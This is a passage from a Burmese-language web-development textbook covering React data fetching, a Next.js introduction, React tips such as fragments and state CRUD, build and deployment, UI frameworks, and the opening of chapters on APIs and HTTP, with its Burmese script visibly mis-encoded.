Request  ကြေအာင်gမင်ရင်ကြေတာ့ gပန်ရလာတဲ့  Response  ကို  state ထဲမှာ  ထပ်တိုးကြေပးလုိက်မှာပဲ  goစ်ပါ
တယ်။  gပန်ကြေလ့လာချင်ရင်  အစအဆံုး  gပန်ကြေလ့လာနိုင်oုိ့အတွက်  ကြေရးရမယ့်  ကုဒ်အgပည့်အစံုကို  ထပ်ပြပီး
ကြေတာ့ ကြေoာ်gပကြေပးလုိက်ပါတယ်။

 JavaScript/JSX 

import { useState, useEffect } from "react";

export default function App() {
    const [ users, setUsers ] = useState([]);

    useEffect(() => {
        fetch('https://reqres.in/api/users')

.then(res => res.json())

.then(json => {
setUsers(json.data);

        });
    }, []);

https://reqres.in/api/users
https://reqres.in/api/users
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    function add() {
        fetch('https://reqres.in/api/users', {
            method: 'POST',
            headers: {
                'content-type': 'application/json'
            },
            body: JSON.stringify({ first_name: 'Tom' })
        }).then(res => res.json()).then(tom => {
            setUsers([ ...users, tom ]);
        });
    }

    return (
        <div>
            <ul>
                {users.map(u => 

<li key={u.id}>{u.first_name}</li>)}
            </ul>
            <button onClick={add}>New User</button>
        </div>
    );
}

React  Native  ပကြေရာင်္ဂျက်ကြေတွမှာလည်း  ဒီနည်းနဲ့ပံု  API  ကြေတွနဲ့  ချတိ်ဆက်  အသံုးgပုရပါတယ်။  API
အကြေeကာင်း အgပည့်အစံုကိုကြေတာ့ ကြေနာက်တစ်ပုိင်းကျကြေတာ့မှ ဆက်လက်ကြေလ့လာသွားeကပါမယ်။

https://reqres.in/api/users
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အခန်း (၆၄) – Next.js

Next.js ဆိုတာ React ကိုအသုံးgပုထားတဲ့  Server-side rendering နည်းပညာ တစ်ခုပါ။ ရုိးရုိး  React မှာ
Component တည်ကြေဆာက်ပုံ၊ ကြေoာ်gပပုံ၊ ကြေgပာင်းလဲပံုကြေတွ အကုန်လုံးက Browser ထဲမှာပဲ လုပ်သွားတာပါ။
Next.js မှာကြေတာ့ Component   တည်ကြေဆာက်တဲ့ ကိစ္စကို   Server-side   မှာ လုပ်ပြပီး ကြေနာက်ဆံုးရလဒ်ကိုသာ  
Browser   ကို ကြေပးပုိ့ကြေoာ်gပကြေစမှာပါ  ။

စတင်စမ်းသပ်  အသံုးgပုနိုင်oုိအ့တွက်  create-react-app လုိမျ ို း  create-next-app ကို
အသုံးgပုနိုင်ပါတယ်။ အခုလုိမျ ို း Download ရယူပြပီး ပကြေရာင်္ဂျက်တည်ကြေဆာက်နိုင်ပါတယ် – 

npm i create-next-app
npx create-next-app hello-next

ပကြေရာင်္ဂျက်တည်ကြေဆာက်စဉ်မှာ TypeScript သုံးမလား၊ ESLint သုံးမလား စသည်goင့် ကြေမးခွန်းတစ်ချ ို ့ ကြေမး
နိုင်ပါတယ်။ ဒီအကြေeကာင်းအရာကြေတွ ထည့်မeကည့်နိုင်ကြေသးတဲ့အတွက်  No  ကိုပဲ ကြေရွးကြေပးရမှာပါ။ ပြပီးတဲ့အခါ
ပကြေရာင်္ဂျက်oုိဒါထဲကိုသွားပြပီး အခုလုိ Run ကြေပးလုိက်လုိရ့ပါတယ် – 

cd hello-next
npx next 

Run ပြပီးတဲ့အခါ Browser မှာ localhost:3000 ကို သွားeကည့်လုိက်ရင် အခုလုိရလဒ်ကို ကြေတွ့gမင်ရမှာပဲgoစ်
ပါတယ် – 
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pages/index.js မှာ  နမူနာ  ကြေရးသားကြေပးထားတဲ့  Page  ကို  ကြေတွ့gမင်ကြေနရတာပါ။  အ့ဲဒီကုဒ်ကြေတွကို
ကိုယ့်yာသာ အခုလုိ gပင်ကြေရးပြပီး စမ်းeကည့်လုိက်လုိရ့ပါတယ်။

 JavaScript/JSX 

export default function Home() {
    return (
        <div>
            <h1>Hello Next</h1>
        </div>
    );
}

yာမှ ဆန်းဆန်းgပားgပားမပါပါyူး။  <h1> Element  တစ်ခုကိုgပကြေပးတဲ့  React Component  တစ်ခုပါပဲ။
စမ်းသပ်eကည့်oုိ့အတွက် ကြေနာက်ထပ်  about.js အမည်နဲ့  ကုဒ်oုိင်တစ်ခုကြေလာက်  pages     oုိဒါထဲမှာ   ပဲ
ထပ်ကြေရးကြေပးပါ။
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 JavaScript/JSX 

import Link from "next/link";

export default function About() {
    return (
        <div>
            <Link href="/"><a>Home</a></Link>
            <h1>About Next.js</h1>
            <p>Next.js - Server-side rendering for React.</p>
        </div>
    );
};

ထူးgခားချက်အကြေနနဲ့  Link ကို  Import  ထားတာကို  သတိgပုပါ။ ပြပီးတဲ့အခါ  <Link> Component  ကို
လည်း အသုံးgပုထားပါတယ်။ href အကြေနနဲ့ / ကိုကြေပးထားလုိ့ Home ဆိုတဲ့အဓိပ္ပါယ်ပါ။ တစ်နည်းအားgoင့်
index.js ကို ညွှန်းထားတာပါ။ သူ့အထဲက <a> Element မှာကြေတာ့ href ထပ်ကြေပးစရာ မလုိကြေတာ့ပါ
yူး။ စမ်းeကည့်နိုင်oုိ့ Browser URL Bar မှာ အခုလုိ ရုိက်ထည့်လုိက်ပါ။

http://localhost:3000/about

ရလဒ်က ဒီလုိgoစ်မှာပါ။

http://localhost:3000/about
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Home  ကို  သွားလုိရ့တဲ့  Link  တစ်ခုပါပြပီး နှိပ်လုိက်ရင်  Home Page  ကို  gပန်ကြေရာက်သွားတယ် ဆိုတာကို
ကြေတွ့ ရနိုင်ပါတယ်။ ပုိအဆင်ကြေgပသွားကြေအာင် Nav.js အမည်နဲ့ oုိင်တစ်ခုကို  pages oုိဒါထဲမှာပဲ ဒီလုိကြေရး
ကြေပးပါ။

 JavaScript/JSX 

import Link from 'next/link';

export default function Nav() {
    return (
        <ul>
            <li><Link href="/"><a>Home</a></Link></li>
            <li><Link href="/about"><a>About</a></Link></li>
        </ul>
    );
};

ဒါဟာ Home နဲ ့About တိုက့ို အgပန်အလှန် သွားလုိရ့တဲ့ Menu တစ်ခု goစ်သွားတာပါ။ သူ့ကို index.js
နဲ ့about.js တိုက့ အခုလုိ ကြေခါ်သုံးလုိရ့ပါတယ်။
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 JavaScript/JSX 

// index.js
import Nav from './Nav';

export default function Home() {
    return (
        <div>
            <Nav />
            <h1>Hello Next</h1>
        </div>
    )
}

 JavaScript/JSX 

// about.js
import Nav from './Nav';

export default function About() {
    return (
        <div>
            <Nav />
            <h1>About Next.js</h1>
            <p>Next.js - Server-side rendering for React.</p>
        </div>
    )
}

ပုိgပည့်စံုသွားကြေအာင်  အ့ဲဒီ  Nav  Menu  ကို  Header  Layout  Component  ကြေလးနဲ့  gပoုိ့အတွက်
Header.js အမည်နဲ ့oုိင်တစ်ခုကို pages oုိဒါထဲမှာပဲ ထပ်ကြေဆာင်ပြပီး ဒီကုဒ်ကို ကြေရးပါမယ်။
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 JavaScript/JSX 

const styles = {
    header: {
        padding: 10,
        background: 'cyan'
    }
}

export default function Header(props) {
    return (
        <div style={styles.header}>
            {props.children}
        </div>
    )
}

yာမှမဟုတ်ပါyူး။ props.children ကို <div> တစ်ခုနဲ့  style ကြေတyွာကြေတွနဲ့ ထည့်gပလုိက်တာ
ပါပဲ။ သူ့ကို အသုံးgပုoုိဆ့ိုရင် index.js ရဲ့ ကုဒ်oဲွ့စည်းပံုက ဒီလုိgoစ်သွားပါလိမ့်မယ်။

 JavaScript/JSX 

import Header from './Header';
import Nav from './Nav';

export default function Home() {
    return (
        <div>
            <Header>
                <Nav />
            </Header>
            <h1>Hello Next</h1>
        </div>
    )
}

အကြေgခခံအားgoင့်  ဒီကြေလာက်ပါပဲ။  ဒီနည်းနဲ့  Next.js  ကို  အသံုးgပုပြပီး  Page  ကြေတွ  ကြေဆာက်လုိရ့မယ်။
Component ကြေတွ ခွဲထားပြပီး လုိတဲ့အခါ ယူသံုးလုိရ့မယ်။ Layout Component ကြေတွyာကြေတွ oန်တီးချင်ရင်
လည်း  ရမှာgoစ်ပါတယ်။  React  ကို  သိထားပြပီးသူကြေတွအတွက်  ခက်ခက်ခဲခဲ  ထပ်ကြေလ့လာစရာ  မလုိyဲ
အသုံးgပုနိုင်ကြေစမယ့် နည်းပညာတစ်ခုပါ။
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React  ဟာ  Client-side  နည်းပညာဆိုကြေပမယ့်  Server Component  လုိ့ကြေခါ်တဲ့  Server-side Rendering
နည်းပညာတစ်မျ ို းကိုလည်း  ထပ်ပြပီးကြေတာ့ တီထွင်ထည့်သွင်းကြေပးထားပါတယ်။ အ့ဲဒီနည်းပညာကို  အသံုးချ
ပြပီး  Next.js 13 မှာ  app Directory ကြေခါ် ထူးgခားတဲ့ goည့်စွက်ချက်နဲအ့တူ  Component ကြေတွ ကြေရးသားတဲ့
အခါ  Server Component  နဲ့  Client Component  ဆိုပြပီး  နှစ်ပုိင်းခွဲ  ကြေရးလုိရ့သွားပါတယ်။ အခု ဒီစာကြေရး
သားကြေနချနိ်အထိ  app Directory  လုပ်ကြေဆာင်ချက်ဟာ Beta  ပဲ ရှိကြေသးသလုိ၊ အထက်မှာကြေoာ်gပခဲ့တဲ့ ရုိးရုိး
Page ကို အကြေgခခံတဲ့ ကြေရးဟန်နဲလ့ည်း အကြေတာ်ကြေလး ကွဲgပားသွားတာကို ကြေတွ့ ရပါတယ်။

ဒီကြေနရာမှာ  အားလံုးgပည့်စံုကြေအာင်  ထည့်သွင်း  မကြေoာ်gပနိုင်ကြေပမယ့်  React  ရဲ့  အကြေgခခံသကြေyာကြေတွကိုသာ
ကြေသကြေသချာချာ ပုိင်နိုင်ထားမယ်ဆိုရင် ကြေနာက်ထပ်ကျန်ရှိကြေနတဲ့ အကြေeကာင်းအရာကြေတွကို သိပ်အခက်အခဲမရှိ
yဲ ဆက်လက်ကြေလ့လာလုိ့ ရသွားနိုင်ပါလိမ့်မယ်။
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အခန်း (၆၅) – React Extras

ကြေရှ့အခန်းကြေတွမှာ အကြေeကာင်းကြေeကာင်းကြေeကာင့် ထည့်မကြေoာ်gပgoစ်ခဲ့ကြေပမယ့် ထည့်သွင်းသတိgပုသင့်တာကြေလး
တစ်ချ ို ့ကို လက်စသတ် ကြေoာ်gပကြေပးချင်ပါတယ်။

Conditional Rendering
React  Component  ကြေတွမှာ  Loop  ကြေတွလုပ်oုိ့  map() တို့  filter() တိုက့ို  သံုးခဲ့eကပါတယ်။
အကြေgခအကြေနကြေပါ် မူတည်ပြပီး  အလုပ်လုပ်oုိအ့တွက်ကြေတာ့  if() Statement လုိ့  ကြေရးထုံးမျ ို းကို  ထည့်သွင်း
ကြေoာ်gပခဲ့gခင်း  မရှိပါyူး။  ထည့်ကြေရးလုိလ့ည်း  မရပါyူး။  if() Statement  အစား  လုိအပ်တဲ့အခါ
အကြေgခအကြေနကြေပါ် မူတည်ကြေoာ်gပ ကြေစလုိရင်  Ternary Operator  ကို အသံုးgပုနိုင်ပါတယ်။  condition ?
true : false ဆိုတဲ့  ကြေရးထုံးပါ။  Condition  ကြေနာက်က  Question  Mark  လုိက်ရပြပီး  True  ဆိုရင်
Question Mark ကြေနာက်က အလုပ်ကို လုပ်မယ်။ False ဆိုရင်ကြေတာ့ Colon ကြေနာက်က အလုပ်ကို လုပ်မှာ
goစ်ပါတယ်။  ဒီကြေရးထုံးက  Language  အများစုမှာပါသလုိ  JavaScript  မှာလည်း  ပါပါတယ်။  React
Component ကြေတွမှာ ဆိုရင်ကြေတာ့ ဒီလုိgoစ်မှာပါ။

 JavaScript/JSX 

<div>
{ 

type === 1
? <Button primary>Button</Button>
: <Button secondary>Button</Button>

}
</div>
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Ternary  Operator  ကိုပဲ  oတ်ရလဲွကြေအာင်  ခွဲကြေရးလုိက်တာပါ။  နမူနာအရ  type တန်oုိး  1  ဆိုရင်
<Button> ကို primary props နဲ့ ကြေoာ်gပပြပီး မဟုတ်ရင်ကြေတာ့ secondary props နဲ့ ကြေoာ်gပကြေစထား
တာ goစ်ပါတယ်။ ဒါမှမဟုတ်  type တန်oုိး  1  ဆိုရင်  <Button> ကို gပကြေစချင်တယ်၊ မဟုတ်ရင်မgပကြေစ
ချင်yူးဆိုရင် Logical AND Operator ကို သုံးပြပီး အခုလုိကြေရးလုိရ့ပါတယ်။

 JavaScript/JSX 

<div>
{ type === 1 && <Button primary>Button</Button> }

</div>

Fragments
Component  ကြေတွ တည်ကြေဆာက်တဲ့အခါ  Element  တစ်ခတုည်းကိုသာ Return gပန်ကြေပးရတယ်လုိ့ ကြေgပာခဲ့
ပါတယ်။ ဒါကြေeကာင့် နှစ်ခုသံုးခုရှိလာတဲ့အခါ <div> တစ်ခုနဲ့ စုပြပီးကြေတာ့ gပန်ကြေပးeကပါတယ်။ <div> မသုံး
ချင်ရင် React ရဲ့  Fragment လုိ့ကြေခါ်တဲ့ လုပ်ကြေဆာင်ချက်ကို သံုးနိုင်ပါတယ်။ ကြေရးနည်း နှစ်နည်း ရှိပါတယ်။
ဒီလုိပါ -

 JavaScript/JSX 

function App() {
return (

<React.Fragment>
<h1>Title</h1>
<p>Content</p>

</React.Fragment>
);

}

 JavaScript/JSX 

function App() {
return (

<>
<h1>Title</h1>
<p>Content</p>

</>
);

}
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<React.Fragment> ကို သုံးလုိရ့သလုိ yာမှမပါတဲ့  <> အလွတ်ကိုလည်း အတိုကြေကာက်အကြေနနဲ့ သံုး
လုိရ့တဲ့ သကြေyာပါ။

state CRUD
ကြေနာက်တစ်ခုအကြေနနဲ့ state Data ကြေတွ စီမံတဲ့အခါ map() နဲ့ filter() ကို Create, Read, Update,
Delete  လုပ်ငန်းကြေတွအတွက် အသံုးgပုနိုင်ပုံကို ကြေoာ်gပကြေပးပါမယ်။ ဒါကကြေတာ့ React  နဲ့ တိုက်ရုိက်ဆိုင်တာ
မျ ို း မဟုတy်ဲ ကြေရးထုံးပုိင်းဆိုင်ရာ အကြကံgပုချက် တစ်ခုပါ။ ဥပမာ - ဒီလုိ Data ရှိတယ်ဆိုeကပါစို။့

 JavaScript 

const users = [
{ id: 1, name: 'Alice', age: 22 },
{ id: 2, name: 'Bob', age: 23 },

];

ဒီထဲက name ကြေတွကိခုျည်းပဲ လုိချင်တယ်ဆိုရင် အခုလုိ ယူလုိရ့နိုင်ပါတယ်။

 JavaScript 

const names = users.map(u => u.name); // => [ Alice, Bob ]

တစ်ခတုည်းကို လုိချင်တယ်ဆိုရင် အခုလုိ ယူလုိရ့နိုင်ပါတယ်။

 JavaScript 

const bob = users.filter(u => u.id === 2);

// => [{ id: 2, name: 'Bob', age: 23 }]

အသစ်ထပ်တိုးချင်ရင်  Spread Operator  အကူအညီနဲ့  အလွယ်တစ်ကူ တိုးလုိရ့ပါတယ်။ ဒါကိုကြေတာ့ ကြေရှ့
ပုိင်းမှာလည်း  ခဏခဏ  ကြေတွ့ ခဲ့ပြပီးသားပါ။  တစ်ခုပဲ  သတိထားပါ၊  မူလ  Data  ထဲမှာ  ထပ်တိုးလုိက်တာ
မဟုတ်ပါyူး။ ထပ်တိုးထားတဲ့ Data အသစ်ကို gပန်ကြေပးတာပါ။



PWD 2023 – အခန်း (၆၅) – React Extras 819

 JavaScript 

const result = [ ...users, { id: 3, name: 'Tom', age: 24 };

gပန်oျက်ချင်တယ်ဆိုရင်  filter() နဲ့ပဲ  oျက်လုိရ့ပါတယ်။ ဒီမှာလည်း သတိထားပါ။ မူလ  Data  ထဲက
oျက်တာ မဟုတ်ပါyူး။ oျက်ထားတဲ့ Data Set အသစ်ကို gပန်ကြေပးတာပါ။

 JavaScript 

const result = users.filter(u => u.id !== 2);

id: 2 တန်oုိးရှိတဲ့  user ကို ချန်ပြပီး ကျန်တာကြေတွ Filter  လုပ်ယူမယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။  Update လုပ်
ချင်ရင်ကြေတာ့ map() ကိုပဲ အသုံးgပုနိုင်ပါတယ်။

 JavaScript 

const result = users.map(u => {
if(u.id === 1) u.age = 21;
return u;

});

id: 1 တန်oုိးရှိတဲ့  user ရဲ့  age ကို  21 လုိ့gပင်လုိက်တာပါ။  ဒီကြေရးနည်းကြေတွကို  အရမ်းအသံုးဝင်ပါ
တယ်။  state Data  ကြေတွကို  Create, Read, Update, Delete  လုပ်ငန်းကြေတွ လုပ်oုိလုိ့တိုင်း  ဒီကြေရးနည်း
ကြေတွကိုသာ အသံုးgပုoုိ ့အကြကံgပုပါတယ်။ 

Build System
React  ကုဒ်ကြေတွကိုကြေရးoုိ့အတွက်  ပကြေရာင်္ဂျက်ကို  create-react-app နဲ့  တည်ကြေဆာက်ပါတယ်။
create-react-app က yာကြေတွလုပ်ကြေပးသွားတာလည်း သိချင်တယ်ဆိုရင် သူ့ကိုမသံုးyဲ အလားတူ
စနစ်တစ်ခုကို ကိုယ်yာသာတစ်ခုကြေလာက် အစအဆံုး တည်ကြေဆာက်eကည့်သင့်ပါတယ်။ ဒီစာအုပ်မှာကြေတာ့
ထည့်မကြေgပာကြေတာ့ပါyူး။ ဒီလိပ်စာမှာ ကြေရးပြပီးတင်ထားကြေပးပါတယ်။ ကြေလ့လာeကည့်oုိ ့တိုက်တွန်းပါတယ်။

- https://gist.github.com/eimg/50832314c7bfbc8d46ed65c44b9d76b5

https://gist.github.com/eimg/50832314c7bfbc8d46ed65c44b9d76b5
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Deployment
React နဲ ့ကုဒ်ကြေတွကြေရးပြပီးကြေနာက် အများသုံးoုိစ့ကြေပးကြေတာ့မယ်ဆိုရင် ဒီ Command ကြေလး Run လုိက်ယုံပါပဲ။

npm run build

ဒါဆိုရင် create-react-app ပကြေရာင်္ဂျက်ထဲမှာ build ဆိုတဲ့အမည်နဲ့ oုိဒါတစ်ခု ဝင်သွားပါလိမ့်မယ်။
လုိအပ်တာ အားလံုးပါဝင်ပြပီး  အသင့်သံုး  oုိင်နယ်ရလဒ်ကို    ရုိးရုိး    HTML,  CSS,  JavaScript    အကြေနနဲ့    ရပါ  
တယ်။ အသုံးgပုနိုင်oုိ့  React လည်း ထပ်ထည့်စရာ မလုိပါyူး။ NPM ကြေတyွာကြေတွလည်း မလုိကြေတာ့ပါyူး။
အ့ဲဒီ build oုိဒါထဲက oုိင်ကြေတွကို Publish လုပ်လုိက်ယုံပါပဲ။ 

React Native မှာဆိုရင်ကြေတာ့ Expo Application Service (eas) ကို အသုံးgပုပြပီး ပကြေရာင်္ဂျက်ကို  Android
တို့ iOS တိုမှ့ာ သံုးလုိရ့တဲ့ Mobile App ကြေတွgoစ်ကြေအာင် Build လုပ်gခင်း၊ App Store တို့ Play Store တိုမှ့ာ
တင်gခင်းတိုက့ို လုပ်လုိရ့ပါတယ်။

npm i eas-cli
npx eas-cli build

ဒီအတွက် Expo Account နဲ့ သက်ဆိုင်ရာ Google Developer Account တို့ Apple Developer Account
တိုလ့ည်း လုိအပ်ပါလိမ့်မယ်။ Version အလုိက် အပြမဲကြေgပာင်းကြေနနိုင်တဲ့ ကိစ္စကြေတွgoစ်လုိ့ အကြေသးစိတ်ကိုကြေတာ့
EAS Documentation မှာ ဆက်ကြေလ့လာရမှာပါ။

– Expo EAS - https://docs.expo.dev/eas/

UI Frameworks
ဒီစာအုပ်မှာသာ  အကြေgခခံကြေတွနားလည်ကြေအာင်  ကြေoာ်gပခဲ့ကြေပမယ့်  လက်ကြေတွ့မှာ  Component  အားလုံးကို
ကိုယ်တိုင် ကြေရးစရာမလုိပါyူး။ အသင့်သုံး UI Framework ကြေတွ ရှိပါတယ်။ UI Framework ကြေတွက ကြေပးတဲ့
အသင့်သုံး  Component  ကြေတွကို ကြေပါင်းစပ်ပြပီးကြေတာ့ ကိုယ်လုိချင်တဲ့  App ကို အလွယ်တကူ တည်ကြေဆာက်
နိုင်ပါတယ်။

https://docs.expo.dev/eas/
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လက်ရှိဒီစာကြေရးကြေနချနိ်အထိ React အတွက် အသုံးအများဆံုး UI Framework ကြေတွကကြေတာ့ Material UI နဲ့
Ant UI တို့goစ်ပြပီး Mantine လုိ့ကြေခါ်တဲ့ UI Framework တစ်ခုကိုလည်း လူကြကိုက်များလာပါတယ်။

- Material UI - https://mui.com/
- Ant UI - https://ant.design/
- Mantine – https://mantine.dev/

React  Native  အတွက်ဆိုရင်ကြေတာ့  React  Native Element,  Native  Base  နဲ့  React  Native Design
System (RNDS) တိုရ့ှိပါတယ်။

- Elements - https://reactnativeelements.com/
- Native Base - https://nativebase.io/
- RNDS - https://github.com/iamshadmirza/react-native-design-system

React Native အတွက် Routing Library အကြေနနဲ့ ကြေရှ့ပုိင်းမှာ ကြေoာ်gပခဲ့တဲ့ React Router ကိုပဲ အသုံးgပုလုိ့
ရသလုိ ကြေနာက်ထပ်လူသုံးများတဲ့ React Navigation လုိ့ကြေခါ်တဲ့ Package တစ်ခုလည်း ရှိကြေနပါတယ်။

– React Navigation – https://reactnavigation.org/

အသုံးgပုရ  လွယ်ကူပြပီး  အသင့်သံုးလုိရ့တဲ့  Component  ကြေတွနဲအ့တူ  ဆက်စပ်နည်းပညာကြေတွလည်း
အကြေgမာက်အများ ပါဝင်တဲ့အတွက် ကြေတာ်ကြေတာ်ကြေလး အသုံးဝင်တဲ့  Package ကြေတွပဲgoစ်ပါတယ်။ ဆက်လက်
ပြပီးကြေတာ့ API နဲ့ပက်သက်တဲ့အကြေeကာင်းအရာကြေတွ ကြေoာ်gပကြေပးသွားပါမယ်။

https://reactnavigation.org/
https://github.com/iamshadmirza/react-native-design-system
https://nativebase.io/
https://reactnativeelements.com/
https://mantine.dev/
https://ant.design/
https://mui.com/


အပိုင်း (၇)
API
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အခန်း (၆၆) – A P I  ဆုိသည်�ှာ

ကွန်ပျူတာပရုိင်္ဂရမ်ကြေတွကို Software နဲ့ Service ဆိုပြပီးကြေတာ့ အုပ်စု (၂) စု ခွဲeကည့်eကရကြေအာင်။ 

Software ဆိုတဲ့ထဲမှာ System Software, Desktop Solution, Web Application, Mobile App စသgoင့်
အမျ ို းမျ ို းရှိသလုိ၊  လုပ်ငန်းသံုး  Software  နဲ့  လူသုံး  Software  ဆိုပြပီးကြေတာ့လည်း ကွဲgပားနိုင်ပါကြေသးတယ်။
yယ်လုိပဲ ကွဲgပားကြေနပါကြေစ Software လုိ့ကြေgပာရင် အသံုးgပုသူ လူgoစ်တဲ့ User က ထိကြေတွ့အသံုးgပုလုိ့ ရတဲ့
အရာကြေတွလုိ့  ဆိုနိုင်ပါတယ်။  ဒီအပုိင်းမှာ  ကြေgပာချင်တာက အ့ဲဒီ  Software  ကြေတွအကြေeကာင်း  မဟုတ်ပါyူး။
Service ကြေတွအကြေeကာင်း ကြေgပာမှာပါ။

Service   ဆိုတာကကြေတာ့ လူgoစ်တဲ့   User   က ထိကြေတွ့အသုံးgပုမှာ မဟုတ်yဲ၊ အgခားကွန်ပျူတာပရုိင်္ဂရမ်ကြေတွ  
က အသုံးgပုမယ့် အရာကြေတွပါ။ ပရုိင်္ဂရမ် A က ပရုိင်္ဂရမ် B ကို ဆက်သွယ်အသံုးgပုပြပီး အလုပ်လုပ်ကြေနပြပီဆိုရင်
ပရုိင်္ဂရမ် B ဟာ Service goစ်သွားပါပြပီ။ သူကို လူကသံုးတာ မဟုတ်yဲ အgခားပရုိင်္ဂရမ်က ဆက်သွယ်ပြပီး သုံး
ကြေနတာမုိလုိ့ပ့ါ။

ဒီကြေတာ့  Service  တစ်ခုoန်တီးoုိဆ့ိုရင် အကြေရးပါလာတာက ဆက်သွယ်ကြေရးနည်းပညာပါ။ တgခား ပရုိင်္ဂရမ်
ကြေတွက  ဆက်သွယ်ပြပီး  အသုံးgပုနိုင်oုိဆ့ိုရင်  ဆက်သွယ်ကြေရးနည်းပညာတစ်ခုကို  eကားခံလုိအပ်ပါတယ်။
HTTP, FTP, POP/SMTP, XMPP  စသgoင့် ဆက်သွယ်ကြေရး နည်းပညာကြေတွ အမျ ို းမျ ို း  ရှိပါတယ်။ သူတိုရ့ဲ့
အကြေပါ်မှာ  XML-RPC,  SOAP  စသgoင့်  ကြေနာက်ထပ်ဆက်သွယ်ကြေရး  နည်းပညာကြေတွ  ရှိeကပါကြေသးတယ်။
အကျယ်ကြေတွကြေတာ့  ချဲ့မကြေနကြေတာ့ပါyူး။  လုိရင်းပဲကြေgပာပါမယ်။  ဒီလုိနည်းပညာ  အမျ ို းမျ ို းရှိကြေနတဲ့အထဲက
ကကြေနက့ြေခတ်မှာ    Service    ကြေတွoန်တီးoုိ့  အကျယ်gပန်ဆံုး  အသုံးgပုတဲ့  ဆက်သွယ်ကြေရးနည်းပညာ  ကကြေတာ့  
HTTP   goစ်ပါတယ်။   HTTP   ဟာ   Web Technology   တစ်ခုgoစ်လုိ့    HTTP   အသုံးgပုထားတဲ့    Service   ကြေတွကို  
Web Service     လုိလ့ည်း ကြေခါ်eကပါတယ်  ။
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API ဆိုတာ မူရင်းအတိုင်းဆိုရင် Application Program Interface ရဲ့ အတိုကြေကာက်goစ်ပြပီးကြေတာ့၊ Service
များကို ရယူအသံုးgပုရန် သတ်မှတ်ထားကြေသာနည်းလမ်း လုိ့ ကြေgပာလုိရ့ပါတယ်။ သူများကြေပးထားတဲ့  Service
ကို ကိုယ်က ရယူအသံုးgပုချင်ရင် သူသတ်မှတ်ထားတဲ့  API ကို ကိုယ်ကသိပြပီး သတ်မှတ်ချက်အတိုင်း ရယူ
အသုံးgပုရပါမယ်။ ကိုယ်က  Service  ကြေတွ oန်တီးပြပီး ကြေပးချင်တာဆိုရင် ကိုယ့်yက်က အသံုးgပုနည်း  API
ကို  သတ်မှတ်ကြေပးရပါတယ်။ ဒီအပုိင်းမှာ  အ့ဲဒီလုိ  Service  ကြေတွ  တည်ကြေဆာက်ပုံ၊  API  သတ်မှတ်ပံုကြေတွကို
ကြေလ့လာသွားeကမှာပါ။ ထပ်ကြေgပာပါမယ်။  Service  က လက်ကြေတွ့အလုပ်လုပ်တဲ့  ပရုိင်္ဂရမ်goစ်ပြပီးကြေတာ့၊  API
က အ့ဲဒီ Service ကို ရယူအသုံးgပုလုိတဲ့အခါ အသုံးgပုရတဲ့နည်းလမ်း goစ်ပါတယ်။

HTTP ကို အသုံးgပုထားတဲ့ Service ကြေတွမှာ URL လိပ်စာကြေတွကို API အကြေနနဲ့ အသံုးgပုရတယ်လုိ့ အလွယ်
မှတ်နိုင်ပါတယ်။ ဒါကြေeကာင့် Service တစ်ခုကို ဆက်သွယ်အသံုးgပုလုိရင် သတ်မှတ်ထားတဲ့ URL ကို သိရပါ
တယ်။  Products  ကြေတွလုိချင်ရင်  /products ဆိုတဲ့  URL  သုံးရမယ်လုိ့  သတ်မှတ်ထားရင်  အ့ဲဒီ
/products ဆိုတဲ့ URL ကို API လုိသ့ကြေyာထားပြပီး အgခားပရုိင်္ဂရမ်ကြေတွက အသုံးgပုရမှာပါ။

တစ်ကယ်ကြေတာ့ မျက်စိထဲမှာ gမင်ကြေတွ့ရတဲ့ URL ကို ဥပမာgပုပြပီး ကြေgပာလုိက်ကြေပမယ့် ပုိပြပီးကြေတာ့ တိတိကျကျ
ကြေgပာရရင် HTTP Request ကြေတွကို API အကြေနနဲ့ အသုံးgပုတယ်လုိ့ကြေgပာမှ gပည့်စံု မှန်ကန်ပါလိမ့်မယ်။ HTTP
Request ကြေတွမှာ Request Method ကြေတွ Request Headers ကြေတွ URL ကြေတွ ကြေပါင်းစပ်ပါဝင်ပါတယ်။ URL
ဆိုတာ  HTTP  Request  ရဲ့  အစိတ်အပုိင်းတစ်ခုသာ  goစ်ပါတယ်။  ဒီအကြေeကာင်းကြေတွကို  ကြေနာက်အခန်းမှာ
ဆက်လက်ကြေလ့လာeကပါမယ်။
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အခန်း (၆၇) – HTTP Request

HTTP  ဟာ  Communication  Protocol  တစ်ခုgoစ်ပါတယ်။  ပရုိင်္ဂရမ်နှစ်ခုအeကား  အgပန်အလှန်  ဆက်
သွယ်eကတဲ့အခါ နှစ်ဦးနှစ်yက် လုိက်နာအသံုးgပုရမယ့် နည်းလမ်းကြေတွကို သတ်မှတ်ကြေပးထားတာပါ။ ဆက်
သွယ်မှု  စတင်gပုလုပ်သူကို    Client    လုိ့  ကြေခါ်ပြပီး၊  လက်ခံတံု့gပန်သူကို    Server    လုိ့  ကြေခါ်ပါတယ်  ။  Client  နဲ့
Server တိုက့ို အသုံးgပု တည်ကြေဆာက်ထားeကတဲ့ နည်းပညာကြေတွ တူစရာမလုိပါyူး။ နှစ်ဦးလုံးက HTTP ကို
အသုံးgပုမယ်ဆိုရင် အgပန်အလှန် ဆက်သွယ်အလုပ်လုပ်နိုင်ပါပြပီ။ ဥပမာ - Client ကို JavaScript နဲ့ oန်တီး
ပြပီး Server ကို PHP နဲ ့oန်တီးထားကြေပမယ့်၊ HTTP ရဲ့အကူအညီနဲ ့ဆက်သွယ်အလုပ်လုပ်နိုင်တဲ့ သကြေyာပါ။

HTTP ကိုအသုံးgပုeကတဲ့ထဲက ထင်ရှားgမင်သာတဲ့ Client ပရုိင်္ဂရမ်ကြေတွကကြေတာ့ ကျွန်ကြေတာ်တို့ ကြေနစဉ်သုံးကြေန
တဲ့  Chrome, Firefox, Edge  စတဲ့  Web Browser  ကြေတွပါ။ ဒီပရုိင်္ဂရမ်ကြေတွက  Google, Facebook  စတဲ့
Server  ကြေတွကို  HTTP  အသုံးgပုပြပီး  ဆက်သွယ်ကြေပးနိုင်eကပါတယ်။  Client  yက်က ဆက်သွယ်မှု  စတင်
gပုလုပ်တဲ့  လုပ်ငန်းကို  Request  လုပ်တယ်လုိ့  ကြေခါ်ပြပီး၊  Server  yက်က  gပန်လည်တံုg့ပန်မှု  gပုလုပ်တဲ့
လုပ်ငန်းကိုကြေတာ့ Response gပန်တယ်လုိ့ ကြေခါ်ပါတယ်။

HTTP  အကြေeကာင်းကိုကြေရှ့ပုိင်းမှာလည်း အနည်းငယ် ထည့်သွင်းကြေoာ်gပခဲ့ပါတယ်။ ဒီအပုိင်းမှာကြေတာ့  Service
